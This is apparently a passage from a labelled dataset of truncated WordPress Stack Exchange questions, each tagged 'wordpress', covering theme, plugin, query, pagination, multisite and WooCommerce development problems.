wpmu on heroku using a postgres extension. It works great, but I have a plugin that needs to get the userId based on the e-mail-adress. This is how it does it: $sql = 'SELECT id FROM ' . ... ",['wordpress'] "Title: How to export indesign file to xml and import file xml file into wordpress as page with heading and content? Body: Task - Converting Indesign file To WordPress pages I searched lot and got answer to do that i need to Convert In-design file to Xml and Import it into Wordpress using some plugin i need ... ",['wordpress'] "Title: Hook functions for Wp e-commerce? Body: I am new to wp e-commerce plugin, I need the following hook function for this plugin customer register success event customer login sales order place after Hook function to change order shipping ... ",['wordpress'] "Title: First time using Multsite, not sure how to handle domains Body: So, I have a hosting account with a registered domain. I also have a domain with a different hosting company. Instead of installing two copies of WP in two different directories I'm giving Multisite ... ",['wordpress'] "Title: Reverse chronology of post listing Body: I""m working on modifying a theme that is based on 2010. I want to make the posts on this blog display earliest to oldest, but I don't see how to do this in the theme: I understand I need to add . ... ",['wordpress'] "Title: WordPress database error Unknown column Body: I get this error in my database log: [05-May-2013 21:13:31 UTC] WordPress database error Unknown column 'region' in 'order clause' for query SELECT * FROM tmp1db_wpuf_customfields ORDER BY ... ",['wordpress'] "Title: Manual excerpt length on recent posts slider Body: I need to change the character/word limit of manual excerpts which will be displayed on recent posts slider. I think it's 55 characters right now without counting spaces and punctuation marks. Am i ... ",['wordpress'] "Title: List repeating share links Body: I want to add social share buttons to my posts, but I don’t want to put all that big bulk of code into all my content files. I want to create a function, and then add the function name to my template ... ",['wordpress'] "Title: Testing local server with MAMP/wordpress on mobile device? [closed] Body: I am currently developing a wordpress site locally using MAMP PRO, which obviously involves using a local database. I would like to test this site on my iPhone via a remote link. I have managed to do ... ",['wordpress'] "Title: How can I get all author written content? Body: I have a site that needs two different tabs: 1. all author written content (Posts, comments, CTP) 2. all author followed content (categories, taxonomies, other users content) For the first all I ... ",['wordpress'] "Title: Redirect user after login/registration globally Body: How it possible to redirect all users, even administrators after login to specific page? And also redirect users after successful registration? Any simplest way? For example I want to redirect users ... ",['wordpress'] "Title: Pre Get Posts fails with more than 1 Post Type Body: Inside Functions.php function custom_filings_archive( $query ) { if(is_post_type_archive( 'filings' )) $query->set('post_type',array('the-reports','press-release')); return $query; } ... ",['wordpress'] "Title: Separate table or usermeta Body: We are creating custom fields for users like annual income, gender, city, country, etc. There are about 10 odd new fields. We will be importing approx. 30,000 records for each user in a month through ... ",['wordpress'] "Title: Plugin De/Activation Not Firing On MultiSite install Body: I have a very rudimentary plugin in development, but at the point of needing to enable the register_activation_hook() and register_deactivation_hook() I have stalled. I am getting zero output from ... ",['wordpress'] "Title: Disable the MySQL query in the main query Body: I would like to disable the MySQL portion of the main query, i.e. I want every step to be followed on this page EXCEPT step 4.3: http://codex.wordpress.org/Query_Overview What's the easiest way to go ... ",['wordpress'] "Title: template page to show custom a post types only Body: Does anyone know how to make this page template to only show knowledgebase post types? I've tried various different ways but with no luck <?php $cat_args = array( 'taxonomy' => ... ",['wordpress'] "Title: Full page (no WP admin menus and options) admin theme options Body: I'd like to drag and drop functionality into one of the admin pages and I've been wondering about the best way to implement it: an iframe or something else? What I'd like is: Once the use choose the ... ",['wordpress'] "Title: Custom Form Data save after Login User Body: This is form on my first page. I have to manage if user is not logged in, in that Case after submit form action is Login Page. <?php/** Template Name: Form */ get_header(); ?> <form ... ",['wordpress'] "Title: Get category ID in “archive-product.php” Body: How can i get the category ID in the archive-product.php template? I tried to get this information with the $category var, but this var isn't accessible in this template file. ",['wordpress'] "Title: How come `wp_options` table does not have an index on `autoload`? Body: In the beginning of each page served by WordPress, there is a MySQL call to fetch options: SELECT option_name, option_value FROM wp_options WHERE autoload = 'yes'; Because there's no index on ... ",['wordpress'] "Title: Custom Post Type and Taxonomy pagination permalink Body: I have a custom post type of galleries with pagination for the posts thumbnails. It worked great until I activated the permalinks in the WP admin panel. I saw many posts on this problem but none of ... ",['wordpress'] "Title: CPT in Posts tab instead of its own tab Body: I was wondering for CPT list and editing pages to show under Posts tab instead of creating its own tab. I really want to use CPT (over using categories) because I'd have control over capability and ... ",['wordpress'] "Title: Enable Minify in W3Total Cache using NGINX Body: I am having an issue with enabling minify with the W3TC plugin. I am using a LEMP stack and cloudfront as a CDN, and all of these features, except for the minify work fine. In order to enable fancy ... ",['wordpress'] "Title: Programatically add options to “add new” custom field dropdown Body: How can I add pre-defined options to the ""add new"" custom field dropdown? Here's two examples of automatically adding and showing new custom fields: WordPress: Adding Default Custom Fields on New ... ",['wordpress'] "Title: Modify Title of Admin Page [duplicate] Body: Is there a way to modify the title generated in a custom admin page? Currently, the title generated is appended by '- Wordpress' which is a little annoying. ",['wordpress'] "Title: Integrate Facebook comments with native comments Body: I've finally installed the Facebook Comments plugin to allow readers to comment using their Facebook identity. After the installation, I got two different comment sections, with two separate comment ... ",['wordpress'] "Title: WP Login forms action URLs displayed as pretty URLs in browser (ex with Restore Password) Body: I would like to use the WP native login/register/restore password/.. functionality, but display pretty URLs instead of wp-login.php I've been looking at the core code and noticed that most login ... ",['wordpress'] "Title: Plugin developement and SVN Body: I'm going to develop a plugin for WordPress. My environnement is all set up with a local wordpress installation and Aptana Studio. I also have my own subversion server. I have now to determine how ... ",['wordpress'] "Title: Reference external file as a function Body: In my functions.php I have the following code: add_action( 'admin_menu', 'jp_create_admin_pages' ); function jp_create_admin_pages() { add_menu_page( 'Members', 'Members', ... ",['wordpress'] "Title: Post archive pages bringing me to a 404 page Body: When I try to use next_posts_link() and previous_posts_link() in my archive posts page I got a 404 error page. I'm using this permalink setting /%category%/%postname% and working well for all pages ... ",['wordpress'] "Title: Display Posts from Custom Post Type with Category Filters Body: Thanks in advance for any assistance. I have a simple 4 page portfolio site I'm trying to build for myself. The pages consist of: Home Page, Print Design, Digital, and Identity. I have created a ... ",['wordpress'] "Title: Missing categories for Custom Taxonomy and Custom Posts Body: I'm having trouble seeing why categories are not appearing for Knowledge Base and Articles. What's wrong with this code? <?php // Custom post types /* faq */ add_action( 'init', 'faq_post_type' ... ",['wordpress'] "Title: User defined password at registration - registration email sends auto generated pass Body: Updating some meta fields on registration and providing the user the option to pick a password yet the registration email sends the auto generated password. User defined password works and not emailed ... ",['wordpress'] "Title: Add Class While on Current Post; wp_list_categories Body: The code below produces a sub-menu of child categories of the currently active parent category. This code also produces the child categories of the top parent category while viewing child categories ... ",['wordpress'] "Title: How can i do a search for tags in a certain category? Body: I'm trying to search for a certain category with a tag, how can I do this via url? For example: www.example.com/?cat=1&tag=tag1 how can i achieve this using parameters in the url? ",['wordpress'] "Title: How to add filetype to meta value when using wp_upload_bits? Body: I've set up a custom post type and would like to have the ability to attach files to those posts. I've got the CPT and metabox set up, and the upload function as well. When I display the CPT on the ... ",['wordpress'] "Title: Are links allowed in the Upgrade Notice section of a plugin's readme.txt file? Body: I'm working on an updated version of an existing plugin. In the readme.txt file, I'll be adding an entry to the ""Upgrade Notice"" section, which will show up in users' Plugins admin page when the new ... ",['wordpress'] "Title: update_user_meta doesn't work with AJAX Body: I try to keep user subscription in a metadata var. The function is called by AJAX. Ahe AJAX is called but the metadata does not seem updated on frontend. Here is the code: jQuery <script ... ",['wordpress'] "Title: Settings- API: Creating setting fields on-the-fly Body: In this tutorial about how to create a settings page, the author creates a select element with style display:none. <li class=""front-page-element"" id=""front-page-element-placeholder"" ... ",['wordpress'] "Title: Detect 404 before headers are sent Body: I've a piece of code that shows a banner the first time a user visits, then sets a cookie, which prevents it showing again. However, if the page has a 404 error, the 404 page of the requested ... ",['wordpress'] "Title: Custom WP plugin installation permission problem Body: I've developed a custom plugin for WP. When I install it manually on my server, using FTP transfer, all is perfectly working. I tried to make a zip file and uploading it through WP admin panel. All ... ",['wordpress'] "Title: Is there a quick way to view the wp-cron schedule Body: I'm trying to work which plugin is triggering wp-cron. I know about the code: http://codex.wordpress.org/Function_Reference/wp_get_schedules , but I'd prefer to do something in the sql backend rather ... ",['wordpress'] "Title: Related Posts by Multiple Tags? Body: I was curious if was possible to display related posts by multiple tags. The site I am working on has about 5 tags per post. Most posts have 1 or 2 tags in common. The related posts I'd like to show ... ",['wordpress'] "Title: How do I append a RewriteCond to add_rewrite_rule? Body: I need to easily add a rule in my plugin that has a condition check (to prevent an infinite loop). I will use: RewriteCond %{QUERY_STRING} !getparameter to prevent the redirect when our url has the ... ",['wordpress'] "Title: media resize/crop possibilities? Body: Under admin panel -> media settings there are no minimal width option for thumb or other image modes ex: I would like to crop image widthout distortion -> height 124px and minimum-width 124px and ... ",['wordpress'] "Title: Highlight Search Results in Function.php Body: I found this function on the net. I have placed this in my custom functions file separate from functions.php. function highlight_search_term($text){ if(is_search()){ $keys = implode('|', ... ",['wordpress'] "Title: Navigation menu not being assigned Theme Location Body: I am setting my navigation menu up using the following snippet in my functions.php. add_action( 'init', 'add_menus' ); function add_menus() { register_nav_menus( ... ",['wordpress'] "Title: Wordpress admin not changing language Body: I'm struggling to get a nb_NO version of the wordpress admin interface. Here's what I've done so far: Installed latest wordpress from wordpress.org Moved installation from root to wp/ - site working ... ",['wordpress'] "Title: how to update or refresh the wp user object? Body: If I have the wp user object instantiated what is the proper way to update the value of a particular key if it changes during the course of a script? For example, lets say I have this somewhere in my ... ",['wordpress'] "Title: Add a select-option to the default widgets Body: I would like to add an extra feature to one of the default widgets so that the user can choose from the select-field to either align the widget to the left, center or to the right. How would I be ... ",['wordpress'] "Title: Redirecting to page not found mulitiste Body: when you make a new site from the network admin panel, and then go to the site dashboard it comes up with a ""page not found"" message. I am working in localhost/mulitsite/ is the redirect url is ... ",['wordpress'] "Title: QTranslate for Custom Post Type Body: How to add qtranslate-support for custom post type? Just saving text with tags OR add flag switcher. My Custom Post Type field: add_meta_box('project_rolesid', 'Roles box', 'project_roles', ... ",['wordpress'] "Title: How to pass url as a parameter in a add_rewrite_rule Body: I am building a plugin which relies on passing the url as a GET parameter. Now, I am trying to prettify the links by using rewrite rules but am stuck. What I have now: function ... ",['wordpress'] "Title: Why is my category post repeating twice Body: Im trying to output category with its post on a single page, but for some reason the post from all category are repeating in each category, what am i doing wrong here Here the code: <?php ... ",['wordpress'] "Title: How to autopopulate the Advanced Custom Fields from the submitted form data? Body: I use this code in the functions.php to autocreate a post after a form has been submitted: <?php add_action('iphorm_post_process_1', 'mytheme_create_wp_post', 10, 1); function ... ",['wordpress'] "Title: How can I add programmatically custom taxonomy terms to a custom type post when saving posts? Body: Scenario: there is a 'Recommended Books' section on the website which uses the 'book' custom post type and the 'author' custom taxonomy. I'm using Amazon Product Advertising API for retrieving book ... ",['wordpress'] "Title: Displaying only posts from a certain category on my custom page template Body: I want to create proper pages for my post categories, rather than just a default category page. So for example, I'm going to create a Video page and have a load of information about my videos, and ... ",['wordpress'] "Title: Where can I find the code for the menu page meta boxes? Body: I want to add a meta box to the menu page. More specifically I want to basically clone the pages or category meta box and have it load the items into the list from a meta key, instead of pages or ... ",['wordpress'] "Title: Need a functions that adds (adm)/(mod) if current user is admin/moderator right after their username Body: When a moderator/admin leaves a comment I want them to stand out and not be like any other comment. I have this piece of code so far but I dont think will do any good <?php $current_user_is_a_mod ... ",['wordpress'] "Title: Order posts of a custom post type by the event date using FT Calendar Plugin Body: I am using the FT Calendar Plugin. My question is how can I order posts of a custom post type by the event calendar date? So for instance I have a CPT named ""Events"" and for each event post a ... ",['wordpress'] "Title: redirect on first_time login [duplicate] Body: So I created a custom front end profile ala this wp-answer. Now I have made a custom register page using Theme My Login, which serves its purpose of saving data and such. Now what I want to do is on ... ",['wordpress'] "Title: How to set up multi domain website with WPML on OVH Body: I installed WordPress version 3.5.1 with Magic Fields2 and WPML. I have two different languages french and english. I would like the french website to be hosted on xxx.fr and the english version on ... ",['wordpress'] "Title: get_search_link() redirects to 404 template page Body: I built a custom theme, and in it, there is a 404.php page and a search.php page. Elsewhere in the template, I wanted to link to the search page directly. So, I used the get_search_template() ... ",['wordpress'] "Title: Roles and Capabilities in Custom Post Types Body: Is there a way to create one role with one capability and apply it to some of the custom post types? What I am doing right now is ending up with applying capabilities to all of the posts.. creating ... ",['wordpress'] "Title: Three level taxonomy dropdown frontend Body: I have a code in my functions.php to display 3-level taxonomy dropdown: $brand_taxonomy = 'county'; $taxonomy_name = 'Vietovės pasirinkimas'; ... ",['wordpress'] "Title: admin_notices not working on plugin activation Body: The class ""My_Plugin"" initializes my plugin and the class ""My_Plugin_Notices"" is supposed to output various admin notices with its methods. I set the property ""admin_notices"" in ""My_Plugin"" as an ... ",['wordpress'] "Title: Alter the reset password link Body: after clicking on the reset password option in WP, we're getting this link wp-login.php?action=rp&key=[theKey]&login=testing> instead of getting this can we alter it to something link ... ",['wordpress'] "Title: Determine which template-{slug}.php is being loaded Body: I am trying to make a personal plugin that does specific things based on what is loaded. In this example, in my action method I want to perform one function if the currently loading page is using the ... ",['wordpress'] "Title: Delete associated thumbnails when calling wp_delete_attachment Body: I have a somewhat straightforward script that allows users to upload their own avatar from the front-end. Another script allows them to delete their avatar, before uploading another. The ... ",['wordpress'] "Title: What is the best way to store a few fields? Body: I'm researching what it would take to develop a custom Wordpress plugin. The plugin is a pretty small one. We just need to persist 2 fields of integer information. It's a pretty basic progress bar ... ",['wordpress'] "Title: How do I find PHP file that contains content of my page? Body: Let's say I have created a page in admin dashboard and put some content in it. How I can find PHP file in my hosting file manager that contains that content? ",['wordpress'] "Title: Transfer taxonomy to custom field Body: I have a blog with movie critics and I'm using many taxonomies to add some informations about the movies, like director, actors or it's year. Using taxonomies is really useful to display all movies ... ",['wordpress'] "Title: Pretty URLs for lost password functionality Body: I have WP installed in sub-directory and I'd like to have pretty URLs for the lost password functionality. So, something like this, from WP native -> pretty URL: Initial and any errors lost password ... ",['wordpress'] "Title: BuddyPress: How to get info of users filtered by some x-profile data? Body: I want the list of users with their email IDs, filtered by some x-profile data. For example, I want to send an email to users who have checked a checkbox on their profile. How can I get the info of ... ",['wordpress'] "Title: Override WordPress Widget CSS Classes? Body: I'm attempting to style lists in the sidebar (you know, <ul><li>) and I'm curious how to also make widgets adopt this class. Each widget seems to have its own class assigned to it by ... ",['wordpress'] "Title: Woocommerce: Set thumbnail detail (clipping area) Body: I am using the german Wordpress 3.5.1–de_DE with Woocommerce 2.0.8 and the Woothemes Mystile Theme 1.2.8. I have a big picture for a product (Jellyfish.jpg) and want to use a specific area of that ... ",['wordpress'] "Title: how can redirect sign in and sign out link front-end page rather then wp-login .php in comment form in wordpress Body: I want to redirect the signin and signout link from comment form in Wordpress. I am using a plugin to register users from the front-end; there I have two pages: sign-in and register. When someone ... ",['wordpress'] "Title: How to disable lightbox popup for “add a review” only? Body: By default in woocommerce when a user wants to add a review of a product, they click 'add a review' and this opens up a pop-up lightbox. I want to disable this part and just display the review form. ... ",['wordpress'] "Title: WordPress .htaccess to consider blog as directory Body: I redesigned an old (static) website to WordPress CMS. Now that site is WordPress based with 'blog' as a page displaying all posts. On previous (static) version, they already had a separate WP blog ... ",['wordpress'] "Title: Dynamically add Meta Boxes Body: Is it possible to create dynamic meta boxes? Let's say: I want some buttons to create columns. So i'd have the following buttons: 1 column 2 columns 3 columns and so forth If the user clicks ""2 ... ",['wordpress'] "Title: Deleting comments with meta data Body: I am trying to delete a bunch of comments using the admin interface, and I can't do this because of the errors below. The comments have associated meta data (I am working on a custom plugin) and I ... ",['wordpress'] "Title: Woocommerce Sidebar issue Body: I've just installed Woocommerce into my website and it's working great apart from one thing... Sidebars! How do I set which Sidebar the Shop page and other WooCommerce pages use? As part of my ... ",['wordpress'] "Title: Filter WordPress posts by between parameter Body: How to filter WordPress posts by a taxonomy and between parameter? Consider a mobile website with ""memory size"" taxonomy, I need to show posts that have more than 256 mb memory and less than 768 mb. ... ",['wordpress'] "Title: get meta value from page query Body: I need to check each page to see if it has a default template or another template assigned. If it's default, I want to do X if it's not, then I will do Y. Problem I found is that the query is not ... ",['wordpress'] "Title: add_query_arg to look up page title Body: I'm trying to get the code below to look up the status name, i.e. new, open, pending or resolved with the word ticket together to find pages called new tickets, open tickets etc. $ticket_status = ... ",['wordpress'] "Title: Hide parts of the post content on the home page Body: I have a post that contains a video (or a slider) and some text. Is it possible to hide the text on the home page, but still display the rest? How would I do that? ",['wordpress'] "Title: Suddenly unable to share WordPress link on Facebook Body: I was able to share links from my WordPress blog on Facebook with no issues up till about a month ago. Previously, the abstract and featured image turned up fine, but now only the link shows up. I've ... ",['wordpress'] "Title: Adding another state (spam, reject, approve) to wordpress comments? Body: i know this might sound a bit weird, but what I'm trying to do is rather simple in mind but may be technically difficult. I'm running small contests on my wordpress site where I ask users to leave a ... ",['wordpress'] "Title: load more posts by category Body: Well as you can see here im doing a load by category in every tab i have and show a total posts of 10 by each tab i want to setup once the 10 posts are done. i want to add a load more button to the ... ",['wordpress'] "Title: How Do I Use jQuery UI In My Plugin Body: It's a sad day in the world when I Google something and it returns nothing. I am trying to use the default datepicker (or ANY datepicker at this point) and am unable to because of my lack of ... ",['wordpress'] "Title: Link categories to last post Body: I am using wp_list_categories() to show all my categories. But I would like that the child categories link to the last post of that category. For example: <ul> <li><a ... ",['wordpress'] "Title: Ajax Validation for reCaptcha Body: Background I have a registration form that validates with AJAX using jQuery Validation Engine. The form was created using Theme My Login and contains reCaptcha which I implemented using WP-reCAPTCHA. ... ",['wordpress'] "Title: adding navigation to genesis themes Body: i'm following a tutorial provided here to add navigation menu, but not able to find out set of #nav in my style.css & my theme is eleven40. What we need to replace to get navigation menu? ",['wordpress'] "Title: How to make only posts show date Body: Made template but how to make date to show only in posts not anywhere else? <div class=""date""><strong><?php the_date(); ?></strong></div> This makes date to show in ... ",['wordpress'] "Title: How to make title for home to be News, but if page has parent then its name else just post/page name Body: Made own template from scratch and tutorials. This is showing description of post/page Title and in home its showing website name. <h3><?php is_home() ? bloginfo('description') : ... ",['wordpress'] "Title: Post Editor not working on WordPress 3.5.1 Body: Recently i have updated my wp site to the latest version and since then post editor not working, What i have tried: Disabled all plugins. Installed ""Use Google Libraries"". Disable all plugins ... ",['wordpress'] "Title: woocommerce how to get cat id in content-product.php Body: I installed the woocommerce plugin. my page url is like this http://sitename.com/product-category/products-and-service/servicecat1/ products-and-service - is the main category servicecat1 - is the ... ",['wordpress'] "Title: How to use HyperDB plugin in a existing wpmu Body: I am using wordpress multisite v3.5.1 in a single db called maindb. And i have also 5 blog. They are bazar(main blog), demo1, demo2, demo3 and demo4. In future i want add more blog but i want to ... ",['wordpress'] "Title: Group post archive by last two weeks and months Body: I want to show an archive menu in each page in the following manner: Today Yesterday This week Last week This month Last month Earlier How could I do that? ",['wordpress'] "Title: How to display category with post title in frontpage of the custom post type Body: Hi,everyone.Sorry my bad English,and I hope you can understand what I mean. In my WordPress theme, I craeted a Custom post type named ""Portfolio"", Because I want show the single category with list of ... ",['wordpress'] "Title: http upload error as a subscribed user Body: Im getting an http error when uploading a featured image as a Subscriber. If I upgrade the user to editor or admin all works well. My server is Ubuntu 12.10, NGINX, WP 3.5.1 I have checked php.ini ... ",['wordpress'] "Title: Dynamically tax_query Body: I have this for example: $myquery['tax_query'] = array( 'relation' => 'OR', array( 'taxonomy' => 'cities', 'terms' => 'boston', 'field' => 'slug', ... ",['wordpress'] "Title: Can I set up Wordpress Multisite where one of the subdomains has ssl? Body: I would like to install wordpress multisite on a live server and have one of the sub-domains be https. The main site is not https and neither are the other sub-domains. Is that possible? Thanks! ",['wordpress'] "Title: email sends from wordpress@domain.com even though I have it set to something else Body: My wordpress settings email is contact@domain.com. When I search my entire database for the email of wordpress@domain.com, it does not exist. Yet my registration emails are still sent from ... ",['wordpress'] "Title: Pagination for Custom Post Type with Multiple Types Body: The first page shows the first results however, mypages/page2 leads to a 404 error. The following code is inside archives-mypages.php <?php $temp = $wp_query; $wp_query=null; $args = array( ... ",['wordpress'] "Title: Why is this search form not submitting when button is clicked? Body: I've got a search form on my page, which works perfectly fine when I enter the text and press enter, however it doesn't submit anything when .submit-search button is clicked, why is that? note: ... ",['wordpress'] "Title: How to populate a Wordpress install with a lot of categories, quickly? Body: I'm looking at starting a new project, but I've not done anything like this before. I'm hoping someone with more experience will be able to offer me advice on this one. The site revolves around ... ",['wordpress'] "Title: Log-in/Current user information widget? Body: I would like to allow my Wordpress users to log in through a widget which, after logging in, would be replaced with the user's information (i.e. avatar, profile link, logout link etc). How may I ... ",['wordpress'] "Title: How to display posts via custom taxonomy terms using checkboxes? Body: I would like to have a form with checkboxes. Each checkbox would be a term of my taxonomy ""cities"". The idea is that if a user select any of the checkboxes, it should show all posts that are NOT in ... ",['wordpress'] "Title: wordpress.org codebase Body: Is the codebase that runs wordpress.org publicly available? Specifically, I'm interested in the part that parses the plugins SVN repository to determine the current and past versions of plugins. I ... ",['wordpress'] "Title: Replace query_posts with pre_get_posts Body: I have a static front page that checks if the user is logged in, and if he/she is a number of x posts from a specific category is displayed. For that I was using this code: ... ",['wordpress'] "Title: Get latest Facebook page update and display it in theme Body: Is it possible to display the latest post from a Facebook page (Not personal profile) and display it on my website? I've tried this http://wordpress.org/extend/plugins/recent-facebook-posts but it ... ",['wordpress'] "Title: Post navigation not working [duplicate] Body: I'm having a strange issue on a blogpage that I'm working on. I have created an index.php page with a loop that display's only a specific category of posts. It also displays the next and previous ... ",['wordpress'] "Title: Sorting UL Listing Within the TinyMCE Visual Editor in Wordpress Body: I am trying to use jQuery sortable within the TinyMCE Visual Editor in WordPress. I have had some success in that I can get a UL list to sort, but only if I drag the mouse OUTSIDE of the actual ... ",['wordpress'] "Title: Is it save to replace <input type=“submit” > with <button type=“submit”> in WordPress search form Body: I am asking because of a large userbase and possible conflicts with plugins. I mean the 2013 theme for example targets the button with .searchform [type=""submit""] even of it has the .searchsubmit ... ",['wordpress'] "Title: Wordpress theme options framework, I can't read them in my templates Body: I successfully created my theme options page using this framework: https://github.com/devinsays/options-framework-theme The problems Is that when, for example, I try to load the Option: 'logo_image' ... ",['wordpress'] "Title: Creating relationships between multiple content types Body: I'm working on a site where there are multiple content types in addition to the built-in ones (see list below). I'd like to establish the ability to mark related content in any direction, from any ... ",['wordpress'] "Title: Solution for menu limit in wordpress theme twenty twelve? Body: I just hit a limit for menu items in Wordpress theme Twenty Twelve. The issue is described here, but is largely unresolved: http://core.trac.wordpress.org/ticket/14134#comment:63 I edited my php.ini ... ",['wordpress'] "Title: next_posts_link returns same content of 1st page Body: Pagination seems to work fine... I have 21 posts... and it will go to 3 pages... however... every page shows 10 posts and the same content as the first page.... <?php $temp = $wp_query; $wp_query= ... ",['wordpress'] "Title: Problem with function not executing Body: I am sorry for the long post but I wanted to be thourough in hopes someone could help me figure out this issue. I have been trying to get it working for 2 days with no such luck. I would appreciate ... ",['wordpress'] "Title: Latest news mini images Body: I tried to find an answer on websites and other forums, but found nothing. I will try to explain my problem. I need to change my WordPress website so that it displays a small image for all news ... ",['wordpress'] "Title: Incorporating the Settings API in WordPress Themes - by Chip Bennet Body: I am using the code by Chip Bennett to create a settings options page for my plugin. The problem is that I am getting a Warning error as indicated below that I cannot figure it out. Any help is ... ",['wordpress'] "Title: The offset option breaks the pagination Body: I have a problem with a website of mine, I was hoping you can help me. I added the offset option to ignore the first couple of posts in the main loop. It does its job, but the navigation got broken. ... ",['wordpress'] "Title: Way to add captions to gallery images by code Body: I am creating posts by using wp_insert_post function. It works fine as I provide values in array required. Sometimes it is required to create a post having gallery. Without any problem, it also works ... ",['wordpress'] "Title: Moving wp-admin folder to a different host in a multisite environment Body: Current Multisite setup: first site: www.site1.com second site: subdomain.site1.com admin: www.site1.com/wp-admin/ I m looking to move wp-admin to a different host, which is accessed via a domain ... ",['wordpress'] "Title: Custom post type isn't working Body: I just built up a beta environment for testing my new Wordpress site. I didn't migrate the database; I did my own installation again and ported over my theme (it's a simple theme) to my new instance. ... ",['wordpress'] "Title: Static homepage duplicate issue Body: I already made a post on official wordpress forum,but hava no replay to my question. Also made a search in the forum here and in Google as well but couldn't find solution for my problem. I'm using CMS ... ",['wordpress'] "Title: How to change pagination base from slash to query form? Body: Can this function... function custom_pagination_base() { global $wp_rewrite; $wp_rewrite->pagination_base = 'p'; $wp_rewrite->flush_rules(); } add_action( 'init', 'custom_pagination_base' ); ... ",['wordpress'] "Title: Multi-site Bug: Posts, template cross over among sites Body: I have a multi-site blog network with 9 websites. My problem is that sometimes the site template and posts tend to cross over. I can recreate the issue when I have these sites opened up in multiple ... ",['wordpress'] "Title: Lightbox on wordpress post page Body: I am building WordPress admin plugin. In which I have a metabox with 10 checkboxes (It can be more than that). At below there is submit button. My requirement is: (A) open a lightbox when some one ... ",['wordpress'] "Title: Can't Auto-Update, but permissions are good? Body: Normally wordpress will auto-update fine without a fuss, but now throws the old ftp credentials form up in my grill. I haven't changed any permissions in between updates, even running chmod and chown ... ",['wordpress'] "Title: Why is ajax working on one server and not the next? Body: I have some script that works on my dev server but not on my staging server: add_action('wp_head','get_gz_info',30); function get_gz_info(){ ?> <script ... ",['wordpress'] "Title: Pagination not working on home page Body: I've a page named ""share"" with a complex loop that's working perfectly. This page is located at domain.com/share. Now I need to use this page as the home page, so I went to ""Settings -> Reading"" and ... ",['wordpress'] "Title: User driven content problems Body: I am trying to build a website that will allow users to post from the front end. I need to be able to have the user enter a title, a category, and tags. For the content of the post, I would ideally ... ",['wordpress'] "Title: Trying to post information from a remote database to wordpress page Body: I'm fairly new to Wordpress and looking for some help. Goal: I would like to stream data from my personal computer's Mysql database and display it on a webpage in my offsite Wordpress hosted site. ... ",['wordpress'] "Title: How to get a product description from product page? Body: How to get a Jigoshop product description from product page? I want to add a product description on product page. I need to edit loop-shop.php (although I do not want to edit the core files) so I ... ",['wordpress'] "Title: How can I display only sticky posts from a parent category on the homepage? Body: On my homepage, I have 3 columns showing varying amounts of information from posts in specific categories (first 2 of them child categories, the third column displays posts from various child ... ",['wordpress'] "Title: How-To: wpdb Insert Record With Date Body: I am writing a plugin where I need to pre-load some data in the custom tables that I create upon Activation. My inserts have run fine thus far until I attempt to insert a record with a DATE datatype. ... ",['wordpress'] "Title: Changing permalink of custom category Body: I've tried reading up on past posts here but my head is just spinning. My problem is I'd like to change my permalink structure for a custom full width posts under a custom category. For example, ... ",['wordpress'] "Title: How to add audio media in a post? Body: I am simply trying to add an audio file in a wordpress blog! I have tried different audio player plugins: the non-existing anymore (?) haiku minimalist player, the jQuery player, the ... ",['wordpress'] "Title: translation does not work for 'Home' Body: Using the birdtips theme, translation of messages generally works, with some minor omissions. When I click on a page, a new line appears below the header image saying Home >> MyPage Now, ... ",['wordpress'] "Title: How to query wp_postmeta table for any specific meta_value? Body: I am using following code in the theme files to get some output from the DB: <?php $querystr = ""SELECT DISTINCT meta_value FROM $wpdb->wp_postmeta WHERE 'meta_key' LIKE 'movie_name' ORDER BY ... ",['wordpress'] "Title: bloginfo('template_directory') img src Body: I am lazy loading some images with URLs which are added via custom fields. The lazy load plugin I'm using requires a place-holder image in the src attribute and the actual image in data-original. ... ",['wordpress'] "Title: Echo Messages By Checking current_time() Body: Before asking for help I would like to clarify that I don't have advanced skills on PHP. What I want to achieve is to display different messages for every period of time that I set (I need this to ... ",['wordpress'] "Title: Title on hovering on the featured image Body: I have used the following code to make a slideshow of the featured image of a category.I want to show the title of the post when hovering on the image. But I don't know how to do it. Anyone please ... ",['wordpress'] "Title: How do I add a checkbox option to this custom post type code? Body: I have a custom post type set up and I want to add a checkbox option. If the box is checked, I want to use a php if/else statement to show one div or another. Can someone take a look at my code and ... ",['wordpress'] "Title: Why is the output of a call to the_excerpt different when the call seems to be identical? Body: Ok I've been asked to fix a problem on a website that is a bit weird. The index page (template-magazine.php) here, Has this bit of code: <?php get_template_part('loop'); ?> to produce a ... ",['wordpress'] "Title: How to prevent images being resized in p2 Body: I want to show the full width of the images in p2 theme. As default, the theme resizes the images to make them fit into the content area. How can I prevent default resizing? ",['wordpress'] "Title: Woocommerce customize the product name in the cart and order pages Body: I am using woocommerce plugin. I got hook to customize the price in the cart page and all other page. This is the hook to customize the product price add_action( ... ",['wordpress'] "Title: get_post_meta image width for lazy load Body: I'm trying to lazy load a page of images in Wordpress - I've tried the plugins but none of them seem to work(I only want to lazy load image on some pages.) So I'm now trying to do it with a plugin - ... ",['wordpress'] "Title: Using dynamic css in wordpress [duplicate] Body: I'm relatively new to coding. I've created a website for myself using wordpress as a platform, and am trying to use a dynamic css page to randomize certain styles. Wondering if I'm missing something ... ",['wordpress'] "Title: Plugins not showing up for custom template Body: I'm customizing the index.php page. I've customized my header.php and footer.php and created the styles for both things. My main index.php page has: <?php /* Template Name: Main */ ?> ... ",['wordpress'] "Title: Linking wp_enqueue can't find the javascript file (adds “?ver=x.x.x” to the src) Body: So I'm trying to link in a javascript file the right way, by using this: --functions.php-- function custom_scripts() { wp_register_script('myscript','/backdrop.js',array('jquery')); ... ",['wordpress'] "Title: Add user settings to specific roles Body: Is it possible to do this? I already know about get current_user_can(), which does not work like I need. I'd like to be able to use an array if there are multiple roles. // Check roles to only add ... ",['wordpress'] "Title: Created custom control from theme customizer, where should I add code it will control? Body: I have created a custom control for the theme customizer which is a simple button and label. I am going to be using it as a theme reset button that will clear the theme mod settings to their original ... ",['wordpress'] "Title: How can i retrive the movies, trailers, news in a single page using search Body: How can i retrive that. For a few month i build a website, and i want to make it diferent For the search i have 3 post type, and i have for each diferent themes for display - Movies - Trailers - ... ",['wordpress'] "Title: month name translation Body: I use the birdtips theme and it formats the post date as $birdtips_posted = date(__('Y. F j.', 'birdtips'), strtotime(get_the_time(""Y-m-d""))); where Y. F j. is already rewritten to reflect my ... ",['wordpress'] "Title: Specific Loop For 2 <div> Within Each <li> Body: I need to create a loop that can logically be described as the following for a carousel: Requirements: 3 Loops 2 Posts Per Loop No Duplicates Order by Post Date Visual: < Start Loop #1 > ... ",['wordpress'] "Title: Exclude category Body: I want to exclude a category from showing in a function, but cannot figure out how to do it for my specific 